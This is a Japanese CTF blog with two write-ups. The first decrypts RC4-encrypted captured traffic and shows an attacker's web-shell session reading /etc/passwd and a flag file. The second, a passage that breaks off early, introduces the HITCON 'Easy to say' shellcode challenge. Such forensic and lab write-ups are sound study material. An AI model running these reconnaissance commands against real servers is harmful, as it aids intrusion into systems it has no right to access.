ciphertext = RC4(message, key)
print "ciphertext: %r" % ciphertext
message2 = RC4(ciphertext, key)
print "message2: %r" % message2
$ python decrypt.py
key: '\xb0\xf8p\xfbu\x87\xc0H+\xb7\xf7\xc1\xf79\x1f\x9ef\xde,\xd9%X\xca\x1f\x87\xf2\xdf#/\xed\xc7\xda' (256 bits)
message: 'P\xbd'
ciphertext: 'id'
message2: 'P\xbd'

ア!w

RC4はXORをしているので,暗号文を暗号する,みたいなことをやれば復号できるわけですね.

さぁ,あとはスクリプトを書いて暗号文を全部復号するだけです.

注意なのが,RC4では暗号化の度に毎回テーブルの値(の順番?)が変わっていくので,毎回同じテーブルを使っていると正しく復号できません.

以下が,書いたコード.(ももテクさんの記事にあったコードを,毎回同じテーブルを使わないように変更しただけ)

#!/usr/bin/evn python
# -*- coding: utf-8 -*-

S = range(256)

def KSA(key):
    # key から256マスの変換テーブル S を作る
    j = 0
    for i in xrange(256):
        j = (j + S[i] + ord(key[i % len(key)])) % 256
        S[i], S[j] = S[j], S[i]

def PRGA(S):
    # S を更新しながら1バイトずつ数字を吐き出すジェネレータを返す
    i, j = 0, 0
    while True:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        K = S[(S[i] + S[j]) % 256]
        yield K

def RC4(data, gen):
    # data がメッセージなら暗号化、暗号文なら復号する
    data = bytearray(data)
    result = bytearray(c ^ n for c, n in zip(data, gen))
    print str(result)

def main():
    # 鍵とメッセージを準備
    key = "\xb0\xf8\x70\xfb\x75\x87\xc0\x48\x2b\xb7\xf7\xc1\xf7\x39\x1f\x9e\x66\xde\x2c\xd9\x25\x58\xca\x1f\x87\xf2\xdf\x23\x2f\xed\xc7\xda"
    KSA(key)
    gen = PRGA(S)

    message1 = "\x50\xbd"
    message2 = "\x95\x3b\x7a\xff\xd9\x18\x32\x3a\x33\x28\x32\xe1\x12\xbe\xec\xa9\x46\x30\x7d\x33\x54\xd5\x3c\xbd\xc4\xc1\xcc\x80\x35\x3a\x25\x3d\x88\xbf\x14\x69\xb7\xd1\xf3\x0d\x17\x96\x4c\xb5\x19\x5f\x4c\x7e\x15\xe1\x21\x5b\x5e\x24"
    message3 = "\x10\xb6\xf8"
    message4 = "\x48\xc8\x0c\x81\x3a\xce\x27\x92\xd4\xbd\x18\x75\x1b\xbb\xfc\x49\x15"
    message5 = "\x3c\x18\x14\xac\x38\xa9"
    message6 = "\x1d\x3d\xb5\x74\xae\x8a\x02\x13\x87\x45\x14\xc1\x9e\x2d\xcf\x51\x32\xc0\xb4\xc6\x15\xdb\x67\x31\x36\x72\x2a\x2a\x2d\xad\x9f\x2f\x91\xf6\x84\xfe\xa8\x9d\x60\x3b\x0f\x9d\x22\x16\x5b\x95\x08\xe0\x8b\x82\x3a\x3c\xad\x69\x85\xb9\x13\xaa\xb1\xf3\xad\xff\x74\x72\xc8\x22\xf0\x86\xd9\x16\x23\x3e\x6c\x1f\xfd\xaa\x5f\x9f\x43\xe1\x9b\xb4\x7c\xcd\xa2\xe9\xfc\xd0\xa8\xcd\xbe\x88\xfb\xa2\x2f\x39\xd0\xcb\x01\x4b\x76\x99\x15\xb7\x43\x83\xf6\xf9\x60\xb7\x50\x45\x9c\x9e\x2c\xa6\x02\x3b\xb1\x98\x55\xb4\x43\x08\x29\x1c\x87\x74\x27\xee\x2d\x5d\x32\x1a\x99\xba\x6b\x6e\x8a\xbc\xd1\x35\x8a\x5d\xf7\x69\x46\xc3\x17\x0a\xe2\x62\xac"
    message7 = "\xc9\xaf\x42\x66\x76\xee\x77\xa5\xd1\x0c\xa0\xa3\x22\x05\xb3\x02\x77\x25"
    message8 = "\xc5\x49\x1f\xcb\x60\x22\x9b\x3c\x52\x56\x1f\x98"
    message9 = "\x9a\xc5\x54\xe8\x17\x6f\x91\x7e\x59\xe2\x84\x01\xdb\x8e\xa0"
    message10 = "\xbb\x7d\x76\xd7\x68\xed\xfc\x82\xc4\xe6\x9a\x20\x11\x33\xb6\xe2\x8a\x84\xb2\x1d\x28\xa2\xfe\x71\xe3\x8b\x2b\xaf\x4d\xec\x42\x0b\x5a\x61\x7b\xd1\xde\x09\xb4\x0c\x6f\xae\x70\x0b\x84\xee\xf3\x6a\x95\xd5\x60\xb1\x94\x73\x12\x88\xb3\x9d\x6b\x61\x6f\x17\xa9\xa1\xe3\x22\xb1\xf2\x29\x99\x05\x5f\xce\xd5\x01\xbe\x0c\xf2\xe2\xde\x13\x05\x81\x86\x90\xae\xe8\xa1\xe1\x2e\xee\x5a\x36\x4a\xb6\x1a\xed\xd9\xda\x4c\x1e\xa3\xae\x93\x9b\xbd\xef\xa2\x17\xda\x4d\x77\x64\x81\x0f\x87\xcb\x32\x1b\x77\x0b\x78\xfa\xad\x9d\x6f\xd1\x8b\xbd\x2a\x69\x1d\x45\x5c\x31\x92\xda\xe7\x3f\xa4\xe3\x39\x26\x0c\xa5\x7c\x44\xf3\x90\x94\xb7\xb6\xb3\xc4\x37\xa9\xe0\x59\xb7\x4f\xf7\x54\xb1\x16\x8e\x62\xe3\x81\x3d\x9a\xe9\xe8\xed\xac\xcd\x2a\x89\x7d\x72\x95\x97\x81\x9b\xba\x22\xfa\x60\x66\x37\x99\xd0\x45\x17\x9e\x26\x81\xb4\xb3\x0d\x09\x0f\x3f\x9a\xf4\xfc\xf5\xe0\x20\x4c\x33\x21\x6b\x0b\x6c\x15\x34\xd2\xd0\x7a\xa4\xff\xb4\xac\xd3\x9b\x5e\x45\x28\x95\xf6\x1d\xcb\x7b\x23\xee\x9d\x24\x84\xa0\xa5\x1f\x85\xd5\x39\xf9\x99\x7a\x44\xac\x83\x4d\x7c\x30\x64\x15\xa3\x32\xab\x97\xa6\x1a\x96\x3b\x22\xdd\xee\x16\x83\x01\xb1\xe9\x9c\x3a\x0e\xb2\x14\xc1\xb6\xe9\xad\x67\x2b\x01\x4a\xae\xa6\x5f\xe6\xe4\x43\xe9\x93\x9d\x3a\xf0\x40\xc6\x04\x8a\x25\xc3\xa6\xd0\xf8\x17\x11\xbd\xa1\x7c\x32\x2a\x83\x3e\xca\x20\x99\xd4\x21\x88\xa8\xa7\x35\xa4\xd1\x28\x06\x00\x56\xcc\x92\x6f\xab\xc1\xac\x0c\x84\xfe\x2e\x67\xe1\x54\xcc\x62\xe9\xc9\xe3\xff\x79\x15\xa3\x1b\x5f\xaa\xc6\x37\xc9\x04\xe8\x1e\xc4\x69\xae\xe0\xda\xd7\x1b\xdc\x9c\x7d\x74\x8a\xce\xde\x16\x38\x98\xfc\x97\xcf\x1a\x69\x69\x72\x54\xd9\x39\x57\x38\xb4\xeb\x97\x0e\xf9\xc4\x4c\xbe\xfd\x3b\x75\xf2\xfa\x02\x0e\xc8\x36\x72\xa3\xe6\xc7\x78\xfc\xff\xfa\x51\x31\xf4\x29\xec\x15\x24\x1e\x72\x1e\x6e\xfb\x19\xb1\xbf\x35\x31\xfb\xe0\xb8\x32\x1b\x1e\xd3\x5f\xde\xbc\x19\x3b\xc2\x17\xdf\xe3\x2f\x24\x75\x5b\x5c\x7f\xce\x82\x6a\xe5\xae\x65\x14\xa0\x7d\xd1\x44\x4c\x5a\xcf\xb7\xca\x66\xda\x9e\xc1\xb5\x8d\x61\x35\xff\x45\x85\xa0\x6b\x7b\xce\x94\xe8\xe5\x5d\x66\x0b\x29\x7a\xd3\xfd\x6f\x94\x17\xc7\xb4\x1c\x3e\x62\xc2\x58\x9a\x34\x3e\x83\x2c\xf4\xd7\xa7\xa5\xd6\x43\x87\x4f\x43\xd7\xf0\x86\x4a\x48\xb3\xb3\x77\x3d\x4a\x42\xca\x29\x07\x1e\xf3\xf0\x5d\x52\x58\x2a\x7e\xbc\x84\xbc\xac\xeb\xe5\x50\x75\xd3\x3a\xdc\x46\x3f\x9c\xd6\x69\x26\x34\x9c\xe3\x8d\x44\x00\x06\x76\xbf\x3c\x83\x55\x41\x98\x91\xb2\x21\xb4\x73\xda\x47\x33\xd6\x6a\x05\x32\xb2\xdf\x59\x08\xaf\x86\x6c\xf6\x13\xdd\x2a\xe6\xb7\xb2\x74\x8c\x1e\x32\x88\x85\x19\x62\x8e\x6f\x60\xea\x64\xe6\x66\xdf\x5e\x14\x90\x6b\x6b\xb5\x0a\x90\x0c\x25\x05\xa8\xf4\x63\xb8\x5a\x52\xa7\xe3\x83\xd7\x2a\x77\xd6\xed\xa1\xa8\xf2\x93\x9b\xbf\xb8\x9b\x46\xa7\x69\x64\xbc\xbb\xbe\x64\xe5\xe2\x4b\xef\x3a\x29\x75\x7c\x9d\x9d\x10\x28\x41\xf2\xe3\xbe\xdb\xd8\xfd\xbb\x3b\xdf\xdc\xd2\x80\x83\x69\x25\x2b\x5b\x63\x7e\x05\xc4\xe8\x98\x5f\x9e\x80\xa7\x0c\x6c\x2e\x93\x28\x1c\x09\x35\x03\xac\x7b\x84\x6a\x4a\xa1\x7c\x6f\xd1\x5c\x3b\x78\x83\xa1\x9c\xf0\x75\x8b\x28\xdb\x6e\xc3\x7d\xb2\x00\xfa\x36\xb4\x81\xdd\x6d\xc1\xd0\xc2\x9a\xb9\x43\x8f\x63\x9e\xd8\x3f\xf9\x24\x36\x6b\xde\x2f\x48\xcd\xb0\xf1\x90\x71\x38\xc1\x6a\xc9\x9d\xe2\x7e\xfd\x3f\x9b\xdf\x36\x06\x81\xef\x8f\x98\x6e\x50\x10\xcc\xa1\x0f\x35\x49\x81\x48\x53\x6d\x98\xdf\xde\x32\xaf\x9d\x08\x0c\x56\xac\xf7\xc8\xea\x3a\x64\xfa\x6f\x50\x76\x63\xe8\x47\x39\x95\x88\x74\x76\xb8\x50\x70\x38\x06\x59\xe8\x8e\x5e\x0f\xe6\xd2\xca\x6f\xee\x80\x5e\xc4\xe6\x2a\x6c\xe6\xa6\x1d\x09\xe9\x64\x31\xbb\xa0\x8b\xb5\x25\x55\x04\xf7\x17\x58\xea\x7b\xd9\xf1\xf5\x1d\x47\x51\x10\x1a\x22\x95\xe9\x80\x69\xbe\x0b\xf5\x25\xbe\xa5\xb0\x6e\xc3\x7e\xc9\x8c\x2a\xb9\xee\x94\x50\x33\x62\xb6\xc0\x6d\xc7\xa9\xb5\xaa\xeb\x09\x45\x98\x3f\x1b\xe8\x37\x5f\x21\x30\xc0\xb0\xa9\xc5\x7f\xaa\xa9\x55\x93\x42\x67\xe3\x6f\x75\x90\xcf\x86\xa0\xb6\x0f\x3f\xb2\xbe\xa4\x92\x40\x19\x3b\x01\xde\xc9\x2f\x5e\x9d\x09\xa1\x6b\x65\x45\xdc\x85\xd7\x5a\xef\x9a\x7f\x9f\x74\x41\x55\xbb\x02\xdb\x4c\x11\x59\xf9\x1c\xb4\x5b\x74\x80\x1d\xe9\x78\xa1\xb6\x7c\xf1\xe4\x21\x89\x9b\x46\xec\x99\x7f\x72\xac\x02\xc6\x2f\x08\x22\xee\x11\x77\xa4\xd2\x5a\x91\x34\x52\xe2\x4c\x46\xa2\x78\xff\x87\xa0\xe3\x73\x91\x17\x18\x7c\xa8\x92\x2b\x60\xc2\x46\xe7\xa0\x4c\xc9\x63\xbb\x2d\xc7\x25\xeb\x96\xf6\xb4\x5f\xe1\x99\xca\xf2\x90\xcb\x4a\x96\x5d\x5b\xd7\x0d\xaf\x46\x5b\xa6\xc0\x02\x30\x2c\x17\x49\x64\x5c\xa3\x1d\xfd\x45\x16\x1d\x3f\x34\x1e\xab\xd2\x71\xb9\x15\x34\x01\xff\xce\xd0\xa1\x76\x97\x10\xa6\x25\x59\x7a\x76\x42\xe5\x19\x24\x52\x61\x0e\x31\x06\x67\xa7\x45\x3a\x34\xff\x36\xea\xa0\xc9\x4a\xde\x4f\x3e\x95\x99\x5f\x6a\xc9\x88\xb2\xa6\xc4\x3e\xd1\xfb\x0e\x9a\x03\xc6\x0e\x0e\x72\x77\x6c\x70\xe2\x35\x74\x5f\x23\x3c\x05\x1b\x28\xf9\xec\x12\xce\x54\x13\x04\xf5\xdb\x22\xea\x0c\xc0\xc0\x91\xe2\x4f\x27\xba\x17\xf8\xa5\x03\x8a\xe1\x6f\x56\xb4\xcb\xda\x08\x6a\x2d\x46\x1a\x1d\x0f\xbf\xe3\xcf\x5d\x92\xc1\x7c\x05\xa8\x78\x0c\x56\x52\x7f\x77\x54\xd6\x4f\xac\x79\xa0\x3d\x56\xe2\xe8\xf3\xd3\x41\x52\xfa\xd2\x0b\xd0\x60\x60\xc0\xde\x7b\x6e\x9c\x0f\xf4\x8d\x4b\x82\x21\xaf\x5b\xa9\x0b\x4f\xdb\x69\xec\xec\x81\x87\x65\x7a\xa2\x0b\xff\x61\x1c\x5e\x98\xca"
    message11 = "\xaa\x42\x5a\xa7\xd0\x96\xa9\x35"
    message12 = "\x62\x99\x64\x48\x89\xfd\x62\x15\xa8\x93\x3b\x28\x65\xce\x6c\xa2\xc0\x38\x80\xc9\xae\x45\xa8\x1f\x6e\xb8\xaa\x81\x08\xe6\x13\x57\xe3\x9b\xa8\xdc\x91\x9a\xff\xbb\x9a\x67\x37\x99\x73\x63\x52\x5c\xfd\xcf\x20\x6c\xd6\x88\xe8\x9a\x2f\xbf\x93\xa8\x5f\xc2\x01\x50\xd4\xd4\xf2\xfb\x96\x67\x35\x99\xdc\x6c\x79\xe8\x3c\xf5\x17\xa8\x28\x80\x66\x51\x14\xa8\x5f\xc5\x02\x5e\x98\x47\x57\x62\x85\x7c\xa4\xbf\x40\xfe\x75\x8c\x55\x96\x26\x89\xa1\x60\x12\x94\x5f\x76\x44\x97\x7a\x0a\x90\x28\xff\x41\x07\x08\x94\x3b\x0e\x61\x83\x73\x20\x96\x6f\xe9\x80\x75\x69\x9a\x31\xf4\xf5\x6a\x65\xa6\x5e\x17\x7b\x74\x5a\xf0\xfa\x3d\x3d\x96\xde\x5a\x81\xae\x6b\x97\xde\xd5\x11\x1c\xd0\x41\xbe\xfb\xae\xb7\x46\x63\x72\xa2\x1e\x67\x35\x4d\xf3\xef\x64\x2a\x78\x97\x89\xd3\x71\xc7\x82\xd1\x42\x58\x08\xbe\x40\x63\xe0\xd8\x90\x3e\x86\x59\x25\xf1\x5c\xf9\x13\xdc\x41\x9c\x95\x1a\xb5\x6c\xf8\xf3\xce\xd0\xad\x88\xfb\xac\xfd\x23\xe2\xe6\x26\x51\xa5\xcb\x23\x85\xcd\xfe\x89\x29\xab\x65\x74\xd1\xc6\x31\xf7\x24\x7b\x1f\xbf\x3c\x50\xa0\xd1\xe8\x13\x4a\xd6\x25\x1c\x44\xfd\x99\xad\xf3\xbe\xe6\x29\xb7\xf1\x94\x12\x52\x3a\xc2\x5a\x24\xef\x64\xc4\xe2\xa2\x78\x2b\x4a\x17\xf6\x5f\x54\x76\x81\xed\x57\xe6\x87\x49\xf2\xdf\x3e\x28\x0d\x6c\xae\x06\xed\xae\x4f\xc3\x6d\xee\xea\xee\x86\xa1\x42\x46\x52\x2f\x6b\xb5\x94\x1f\x88\xb7\xbc\x04\xe3\xfe\x83\x30\x22\x43\x9a\x03\x5d\xba\x3e\x32\x49\xa4\xa4\x47\x3d\xee\x2c\x5c\x91\x53\x7c\x9f\x74\x2c\x4e\x39\x8c\xc8\xd9\x09\xcb\x8f\xb3\x22\xf6\xf9\xe8\xff\xd1\x07\x3a\xd7\xee\xf6\x59\x82\xcc\xc2\xbe\xc9\x37\x13\xcb\x39\x37\x56\xea\x4c\xc2\x46\xac\xe3\x89\xe2\xe0\xcc\x25\x7d\x8b\x08\xf6\x11\x2b\x4d\x60\xd5\x2b\x6e\xae\x0d\x14\x8e\x9e\x69\x92\xa6\xfe\xd1\xc1\x8e\xc6\x36\xd6\x35\x44\xc5\x03\x56\xca\xdd\xbd\x4d\xe1\x9a\xee\xbe\x5d\x31\xf5\x26\x26\x29\x30\x0e\x37\xea\x28\xd2\x83\x03\xbb\xa0\x5b\x7f\x36\xd8\x81\x45\x83\x37\x6b\xf8\x55\x8f\x16\xf8\x53\x71\xd3\x8f\xa0\xea\x10\x13\xfd\xf4\x94\x31\x27\x4c\x30\xde\xd9\xbd\x78\x30\xf7\x8b\x84\x16\x66\xbd\x70\x3a\x4c\xd8\xb2\x7d\xb3\x13\xbf\xf8\xed\x4d\xeb\xeb\xea\x9d\x33\xae\xef\x5b\x94\xe9\x0c\xf7\xb3\x84\x87\x37\xf0\x5f\xa6\x65\x1e\x11\xcc\x84\x07\x21\x7a\x5a\x46\x14\x08\x01\xb7\xf2\xdb\x43\xf1\x59\x09\xd2\x4a\x5c\x08\x2d\x40\xaa\x43\x13\x2f\x1f\xf6\x5c\xac\x00\xf4\x78\xbb\xa1\x77\xd7\x78\x57\x6c\x10\x1d\xfc\xd2\x6f\x4e\x15\xcb\xfa\xf5\xee\x60\x2b\xc1\x10\x26\xb8\xed\xd9\xa7\x48\x3a\x4b\xa4\xe5\xcb\xcb\x12\x0c\xd1\x83\x99\xb5\x23\x4f\xd2\xa7\xb6\x1a\x38\x4d\x5c\x88\x01\x7a\x7b\xde\xb2\x95\xcc\xe5\x95\x35\xb7\x5f\xc7\x86\x39\xba\x04\xe5\xf7\xb6\xb3\x19\x5a\x45\x73\x7a\xe1\x70\x3a\x6a\xce\x8d\x8f\xe8\xb5\x0b\x53\xb3\xda\x01\xcd\x20\x3f\x30\xcb\x72\x75\x60\xd2\x90\xac\x3d\x1f\x20\x1e\x6c\xa0\x27\x42\xe1\x6f\xae\x48\x2c\xef\x0a\x0d\x0d\xe2\xe0\xdd\xe1\x47\x9d\x12\xcc\xbe\x4f\xf7\xdc\xb3\xcc\x78\x10\xde\xea\x29\xdf\xff\x00\x7d\xf5\x3f\x7f\xcb\x68\xf1\xaa\x8e\xca\xbb\xb9\xd0\xc8\xf0\x5f\x36\x89\x05\xdd\x4c\x0f\x42\xee\xd4\x30\xd4\xdc\xce\xcf\x09\xb0\x9b\x4d\x31\xec\x1b\xdb\xa8\x82\x3a\x29\x77\x29\xae\x35\x5a\x99\xbc\xad\xbe\x15\x53\x8f\x33\x57\x26\xcb\xf1\xff\xf5\x77\x96\xbf\x0f\x52\xc0\xda\xaf\x8c\x1d\x2d\x4f\x14\x31\xd7\x85\x70\xe7\xba\xf3\x12\xee\x07\x64\xe5\x55\xd8\x73\xa7\xe8\x11\x05\x2c\xc6\xe4\x7e\x75\x0a\x5b\x6a\x62\x6b\xcc\x51\x23\xb2\x65\x74\xf3\xf5\xec\x68\x72\xf3\xbc\x99\xab\x7b\xf5\x37\xc0\x91\xd2\x52\x99\x99\xd8\x4f\x20\x5f\x57\x39\x44\x86\x82\xd6\x8e\x18\xd1\xbb\x7b\x24\x9a\x71\x9f\x18\x02\xca\x91\xf4\xe6\x71\x1c\x16\xe1\x39\x0d\x63\x1f\x32\xbb\x6d\xc8\xe2\x83\x23\x20\x36\x39\x4c\x6b\x8e\x00\x50\x03\x9d\xae\x83\x6b\x0d\xb8\x67\x06\x34\xb2\x0b\xed\xd5\x47\x0e\x7c\xd0\xee\xa3\x17\xbf\xfb\x4d\x23\x04\x15\x4c\x54\xfa\xd6\x18\x0e\x50\x61\xb2\x89\xee\x07\x41\xdd\x79\x3b\x2f\xa5\xfa\xae\x56\x39\x54\xf2\xe9\xcd\x8d\xa7\x7e\x19\x1b\x05\x20\xb2\x45\xd8\x04\x33\xaa\xb7\x76\x25\x2d\x4b\xaf\x70\x3a\x70\xf1\x08\xbf\x5d\xc9\xa9\xaa\xf1\xfc\x16\x54\x10\x70\x2e\x58\x97\xb3\x39\x9a\x6d\x94\x43\xd9\xab\x03\x19\x42\x56\xf2\x31\x37\x7d\xa6\x56\x4e\xcc\x03\x79\x9b\xb3\xfb\xa7\xe6\xca\xe8\x50\xa9\x72\xfe\x51\x08\x9b\xcb\x3a\x6a\x33\x2a\xae\xba\xfa\xcf\x20\x0c\xd3\x35\x94\xaa\x63\x96\x8e\x73\x78\x4d\x61\xd6\x7d\x9f\x55\x22\x27\x7b\x88\x7c\xe5\x51\xe4\x17\x8f\xcb\x36\x4b\x70\xd9\x23\x7c\xf2\xfc\x97\x19\xed\xdc\xc2\xce\xd5\xb2\x42\x61\x4d\xb4\x5a\x3d\x94\x71\x2f\x3b\x64\xd2\x66\x79\x1e\x6e\x9d\xe4\xe9\x7d\x69\x70\x48\x56\x04\xba\x35\x81\x05\x3a\xc0\x04\x24\x48\x9a\x44\xd5\x14\xd3\xdf\x06\x48\xe0\xbb\xb5\xb7\x77\xf5\xbf\x33\xc5\x01\x8e\xeb\x66\x60\x24\xd1\x7c\xe7\xec\x48\xe3\x63\xcf\x8b\xab\x6c\x93\xa2\x88\xa0\x47\x50\xf4\xcf\xd2\x12\xb0\x6e\x20\x22\xcc\x86\xd6\xbc\x0c\xe2\x4a\x99\xb8\x48\xd1\x1c\xf9\x4a\x7d\x0f\x7d\x82\x45\x0a\x41\xff\xc7\x21"
    message13 = "\xac\x3b\x5b\xa0\xa1\xc4\x71\x55\x6d\x55\xa0\x0d"
    message14 = "\xa7\x05\xd3\x10\xcf\x6d\x3e\x7f\xcb\x42\xa9\x6e\xb7\xd8\x60\x37\xfb\x4a\xa1\x14\x83\x19\xe1\x8f\x17\x5a\x61\xfb\x0b\x98\x35\xb7\x66\x2c\xa7\xde\x3b\x5c\x69\x89\x01\xb9\x48\xde\xab\x75\x1e\x38\x99\x5e\x76\xd8\xee\x1d\x85\x22\x63\x9a\x2b\xa2\xd7\x6b\x89\x30\x04\x1a\x54\x96\x90\xc1\x8e\x9a\xa5\x87\x4a\x53\xdc\x83\x34\x58\x03\xde\x8b\x15\xb7\x2e\x96\x35\x26\xa5\x59\xcd\x27\xbc\x52\x47\xa0\x1b\xe3\x30\x77\xa1\x4c\x8f\x69\x01\x65\x49\xb0\x5e\x5c\xa1\x2e\x6a\xd4\xd5\x14\x8b\xe4\xbd\x3e\x2a\x92\x19\x47\x07\x4d\x59\x63\x37\x65\xcb\x75\x9c\x73\xd0\xf1\xa6\xae\xaf\x7a\xf1\xbc\x7c\x33"
    message15 = "\x66\xa0\xc4\xe8\x17\xd6\xb9\x88\x5f\xcd\x50\x8e\x86\x05\x9a\x2b\xce"
    message16 = "\x35\x17\xb5\xe0\x9d\xce\xfc\x4a\xd5\x0b\x99\xef\x64\x41\x51\x03\xbd\xf6\xc3\x09\xb7\x10\x11\xb0\x07\x76\x32\x03\xdf\x4c\x03\x23\xb7\x83\xb9\x98\x79\xa4\x7d\x3e\x5a\x09\x4b\x55\xb6\xd4\x89\x60\x28\x49\xff\x00\xf8\xf6\xa6\xcc\xbb\x96\xc0\x71\x49\xb5\x5d\xed\x57\x8b\x07\x69\x2a\xd1\x3b\x2e\xa2\x62\x93\x98\x1e\x70\xe0\x55\xe6\x92\x61\x7f\x78\x0b\x4d\x84\xc6\xc2\x2a\x23\x4a\x39\x88\x2b\xf8\x13\x76\x86\x64\x80\x47\x33\x76\x9c\x00\xd9\x98\x0d\x92\x19\x93\x15\x0b\x80\xad\x15\x2e\x6c\x2d\x1b\xd0\xf8\x15\x2f\x6b\xbc\xd2\x99\x4b\xac\xe2\x6e\x32\xd8\x68\x95\x03\x1b\xf5\xf1\xc4\xeb\x18\xc3"
    message17 = "\x5b\x7c\xae\x1a\x19\x88\x75\x7e\xab\x08\x6f\x1e\xaa\x04\x0e\x0d\xff\x7c\x0e\xef\xd0\x79\x8e"
    message18 = "\x38\x22\xd8\x99\xe8\x7b\x5e\x3a\x34\x88\xc8\x14\x7d\xc0\xac\x7c\xdb\x6f\x66\x69\xd1\x3e\x48\x69\x68\x62\x19\xb0\x62\xe7\x54\x93\x1f\xa5\xaf\x19\x64\x73\x26\xe2\xc1\x03\x55\xbb\x43\x97\xb6"

    print "key: %r (%d bits)" % (key, len(key)*8)

    for i in range(1, 19):
        exec("RC4(message" + str(i) + ", gen)")


if __name__ == "__main__":
    main()

実行結果

$ python decrypt.py
key: '\xb0\xf8p\xfbu\x87\xc0H+\xb7\xf7\xc1\xf79\x1f\x9ef\xde,\xd9%X\xca\x1f\x87\xf2\xdf#/\xed\xc7\xda' (256 bits)
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

pwd
/usr/lib/cgi-bin

ls -la
total 24
drwxr-xr-x  2 root root  4096 May 26 02:39 .
drwxr-xr-x 52 root root  4096 May 26 02:39 ..
-rwxrwxr-x  1 root root 13704 Apr 18 01:11 index.cgi

echo 'pwned! yay!'
pwned! yay!

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false

ls -la /
total 80
drwxr-xr-x  67 root root 4096 May 26 03:04 .
drwxr-xr-x  67 root root 4096 May 26 03:04 ..
-rwxr-xr-x   1 root root    0 May 26 03:00 .dockerenv
drwxr-xr-x   2 root root 4096 May 26 02:39 bin
drwxr-xr-x   2 root root 4096 Apr 12  2016 boot
drwxr-xr-x  15 root root 3780 May 26 03:00 dev
drwxr-xr-x 116 root root 4096 May 26 03:00 etc
drwxr-xr-x   4 root root 4096 May 26 02:39 home
drwxr-xr-x  15 root root 4096 May 26 02:39 lib
drwxr-xr-x   2 root root 4096 May  2 08:41 lib32
drwxr-xr-x   2 root root 4096 May  2 08:39 lib64
drwxr-xr-x   2 root root 4096 Feb 14 23:28 media
drwxr-xr-x   2 root root 4096 Feb 14 23:28 mnt
drwxr-xr-x   2 root root 4096 Feb 14 23:28 opt
dr-xr-xr-x 174 root root    0 May 26 03:00 proc
drwx------  11 root root 4096 May 26 03:04 root
drwxr-xr-x   9 root root 4096 May 26 03:00 run
drwxr-xr-x   2 root root 4096 May 26 02:39 sbin
drwxrwxr-x   5 1000 1000 4096 May 26 03:04 share
drwxr-xr-x   2 root root 4096 Feb 14 23:28 srv
dr-xr-xr-x  13 root root    0 May 24 07:44 sys
drwxrwxrwt   2 root root 4096 May 26 03:00 tmp
drwxr-xr-x  27 root root 4096 May 26 02:39 usr
drwxr-xr-x  21 root root 4096 May 26 03:00 var

ls -la /home
total 12
drwxr-xr-x  4 root root 4096 May 26 02:39 .
drwxr-xr-x 67 root root 4096 May 26 03:04 ..
drwxr-xr-x  2 root root 4096 May 26 02:39 user

ls -la /home/user
total 12
drwxr-xr-x 2 root root 4096 May 26 02:39 .
drwxr-xr-x 4 root root 4096 May 26 02:39 ..
-rw-rw-r-- 1 root root   47 May 26 02:38 flag.txt

cat /home/user/flag.txt
CBCTF{7RAcKINg_H4ckERs_f00tPrINTs_i5_excItING}

まとめ

どうせ全く解けないだろうと思っていたのですが,解いてみると結構面白く,参加して良かったなと思いました.

Incident Responseに関しては,リアルでこういうのありそうだなって思いました.

最近気づいてしまったのが,Rev問やるのに暗号も少し知っておく必要があるってこと.(これはRev問じゃないけど)

なにかしらのテーブルを作ってそこからゴニョゴニョみたいなRev問をよく見ていて,なんだこれはって思うけどWriteupを見ると,とある暗号化方式が使われているのがわかったりする.

「この暗号化方式を使うと,こういうアセンブリが生成されて,こういう動きをする」とかは知っておくと便利そう.

HITCON CTF 2017 Quals - Easy to say -

f:id:ywkw1717:20171106114752p:plain

開催期間(JST)

11/4 AM11:00 ~ 11/6 AM11:00

結果

・チーム名:wabisabi

・得点:331 pt

・順位:得点したチーム中,145/1078

解いた問題

・Easy to say (Misc 144)

取り組んだが解けなかった問題

・Start (Pwn)

・Re: Easy to say (Misc)

はじめに

HITCONの開始時間がちょうどバイト先のりんご狩りと重なるということがあり,スタートダッシュが切れず.

結局始めたのは19時~から.

最初はpwnのStartからやっていたものの,方針が違うのか全く見当がつかず,miscのEasy to sayに切り替えた.

2日目は起きる時間が16時頃になってしまい,17時頃からEasy to sayを始めた.

そこから10時間くらい,ああじゃないこうじゃないってやってようやく解けたけど,他の問題は解けず...惨敗.

Writeup

Easy to say (Misc)

問題文

Are you good at shellcoding? Warm up!

nc 52.69.40.204 8361

解析

$ file easy_to_say-c7dd6cdf484305f7aaac4fa821796871
easy_to_say-c7dd6cdf484305f7aaac4fa821796871: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=ebaecbb5f55329380b6476b55253b4ea59d91891, stripped

64bit,strippedなバイナリが与えられ,限られた条件で動くシェルコードをプログラミングする問題.

限られた条件というのは,各バイトそれぞれが重複していない,かつ24バイト以下というもの.

このプログラムは,適当なシェルコードを入力として与えてあげると,それを実行してくれる.

